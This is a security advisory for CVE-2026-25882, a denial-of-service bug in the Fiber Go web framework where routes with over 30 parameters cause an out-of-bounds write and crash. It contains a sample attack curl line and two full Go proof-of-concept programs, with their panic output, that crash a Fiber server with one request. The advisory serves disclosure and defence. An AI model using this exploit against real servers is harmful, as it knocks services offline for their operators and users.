CVE-2026-25882
ADVISORY - githubSummary
A denial of service vulnerability exists in Fiber v2 and v3 that allows remote attackers to crash the application by sending requests to routes with more than 30 parameters. The vulnerability results from missing validation during route registration combined with an unbounded array write during request matching.
Affected Versions
- Fiber v3.0.0-rc.3 and earlier v3 releases
- Fiber v2.52.10 and potentially all v2 releases (confirmed exploitable)
- Both versions share the same vulnerable routing implementation
Vulnerability Details
Root Cause
Both Fiber v2 and v3 define a fixed-size parameter array in ctx.go:
const maxParams = 30
type DefaultCtx struct {
values [maxParams]string // Fixed 30-element array
// ...
}
The router.go register() function accepts routes without validating parameter count. When a request matches a route exceeding 30 parameters, the code in path.go performs an unbounded write:
- v3:
path.go:514 - v2:
path.go:516
// path.go:514 - NO BOUNDS CHECKING
params[paramsIterator] = path[:i]
When paramsIterator >= 30, this triggers:
panic: runtime error: index out of range [30] with length 30
Attack Scenario
Application registers route with >30 parameters (e.g., via code or dynamic routing):
app.Get("/api/:p1/:p2/:p3/.../p35", handler)Attacker sends matching HTTP request:
curl http://target/api/v1/v2/v3/.../v35Server crashes during request processing with runtime panic
Proof of Concept
For Fiber v3
package main
import (
"fmt"
"net/http"
"time"
"github.com/gofiber/fiber/v3"
)
func main() {
app := fiber.New()
// Register route with 35 parameters (exceeds maxParams=30)
path := "/test"
for i := 1; i <= 35; i++ {
path += fmt.Sprintf("/:p%d", i)
}
fmt.Printf("Registering route: %s...\n", path[:50]+"...")
app.Get(path, func(c fiber.Ctx) error {
return c.SendString("Never reached")
})
fmt.Println("โ Registration succeeded (NO PANIC)")
go func() {
app.Listen(":9999")
}()
time.Sleep(200 * time.Millisecond)
// Build exploit URL with 35 parameter values
url := "http://localhost:9999/test"
for i := 1; i <= 35; i++ {
url += fmt.Sprintf("/v%d", i)
}
fmt.Println("\n๐ด Sending exploit request...")
fmt.Println("Expected: panic at path.go:514 params[paramsIterator] = path[:i]\n")
resp, err := http.Get(url)
if err != nil {
fmt.Printf("โ Request failed: %v\n", err)
fmt.Println("๐ฅ Server crashed!")
} else {
fmt.Printf("Response: %d\n", resp.StatusCode)
resp.Body.Close()
}
}
Output:
Registering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10...
โ Registration succeeded (NO PANIC)
๐ด Sending exploit request...
Expected: panic at path.go:514 params[paramsIterator] = path[:i]
panic: runtime error: index out of range [30] with length 30
goroutine 40 [running]:
github.com/gofiber/fiber/v3.(*routeParser).getMatch(...)
/path/to/fiber/path.go:514
github.com/gofiber/fiber/v3.(*Route).match(...)
/path/to/fiber/router.go:89
github.com/gofiber/fiber/v3.(*App).next(...)
/path/to/fiber/router.go:142
For Fiber v2
package main
import (
"fmt"
"net/http"
"time"
"github.com/gofiber/fiber/v2"
)
func main() {
app := fiber.New()
// Register route with 35 parameters (exceeds maxParams=30)
path := "/test"
for i := 1; i <= 35; i++ {
path += fmt.Sprintf("/:p%d", i)
}
fmt.Printf("Registering route: %s...\n", path[:50]+"...")
app.Get(path, func(c *fiber.Ctx) error {
return c.SendString("Never reached")
})
fmt.Println("โ Registration succeeded (NO PANIC)")
go func() {
app.Listen(":9998")
}()
time.Sleep(200 * time.Millisecond)
// Build exploit URL with 35 parameter values
url := "http://localhost:9998/test"
for i := 1; i <= 35; i++ {
url += fmt.Sprintf("/v%d", i)
}
fmt.Println("\n๐ด Sending exploit request...")
fmt.Println("Expected: panic at path.go:516 params[paramsIterator] = path[:i]\n")
resp, err := http.Get(url)
if err != nil {
fmt.Printf("โ Request failed: %v\n", err)
fmt.Println("๐ฅ Server crashed!")
} else {
fmt.Printf("Response: %d\n", resp.StatusCode)
resp.Body.Close()
}
}
Output (v2):
Registering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10...
โ Registration succeeded (NO PANIC)
๐ด Sending exploit request...
Expected: panic at path.go:516 params[paramsIterator] = path[:i]
panic: runtime error: index out of range [30] with length 30
goroutine 40 [running]:
github.com/gofiber/fiber/v2.(*routeParser).getMatch(...)
/path/to/fiber/v2@v2.52.10/path.go:512
github.com/gofiber/fiber/v2.(*Route).match(...)
/path/to/fiber/v2@v2.52.10/router.go:84
github.com/gofiber/fiber/v2.(*App).next(...)
/path/to/fiber/v2@v2.52.10/router.go:127
Impact
Exploitation Requirements
- No authentication required
- Single HTTP request triggers crash
- Trivially scriptable for sustained DoS
- Works against any route with >30 parameters
Real-World Impact
- Public APIs: Remote DoS attacks on vulnerable endpoints
- Microservices: Cascade failures if vulnerable service is critical
- Auto-scaling: Repeated crashes prevent proper recovery
- Monitoring: Log flooding and alert fatigue
Likelihood
HIGH - Exploitation requires only:
- Knowledge of route structure (often public in APIs)
- Standard HTTP client (curl, browser, etc.)
- Single malformed request
Workarounds
Until patched, users should:
Audit Routes: Ensure all routes have โค30 parameters
# Search for potential issues grep -r "/:.*/:.*/:.*" . | grep -v node_modulesDisable Dynamic Routing: If programmatically registering routes, validate parameter count:
paramCount := strings.Count(route, ":") if paramCount > 30 { log.Fatal("Route exceeds maxParams") }Rate Limiting: Deploy aggressive rate limiting to mitigate DoS impact
Monitoring: Alert on panic patterns in application logs
Timeline
- 2024-12-24: Vulnerability discovered in v3 during PR #3962 review
- 2024-12-25: Proof of concept confirmed exploitability in v3
- 2024-12-25: Vulnerability confirmed to also exist in v2 (same root cause)
- 2024-12-25: Security advisory created
References
- v3 Related PR: https://github.com/gofiber/fiber/pull/3962 (UpdateParam feature with defensive checks, doesn't fix root cause)
- Vulnerable Code Locations:
- v3: path.go:514
- v2: path.go:516
Credit
Discovered by: @sixcolors (Fiber maintainer) and @TheAspectDev
Sign in to Docker Scout
See which of your images are affected by this CVE and how to fix them by signing into Docker Scout.
Sign in